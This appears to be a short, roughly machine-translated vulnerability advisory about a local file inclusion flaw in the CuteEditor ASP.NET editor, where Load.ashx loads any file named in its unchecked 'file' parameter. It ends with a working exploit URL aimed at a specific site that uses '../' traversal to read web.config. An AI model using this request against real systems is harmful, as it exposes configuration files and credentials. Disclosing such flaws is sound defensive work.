Cute Editor online Editor local Inclusion Vulnerability

I. Vulnerability description:
Based on Html, CuteEditor for ASP. NET is the easiest and most powerful WYSIWYG Asp.net online editor. CuteEditor helps Asp.net developers easily edit the content (including text, images, and other Html content) in the original text box (Textarea, more importantly, the content editing implementation is WYSIWYG. CuteEditor also integrates functions such as file upload (including images and documents), direct insertion of media (including videos and sounds) files, and so on.
However, in the Load. ashx file, any file can be loaded without processing the file parameter.
2. Official Address:
Http://cutesoft.net/
Aspx.com/"> http://cuteeditor.51aspx.com/
Iii. Usage:
Http://www.woyigui.cn/CuteSoft_Client/CuteEditor/Load.ashx? Type = image & file =.../../web. config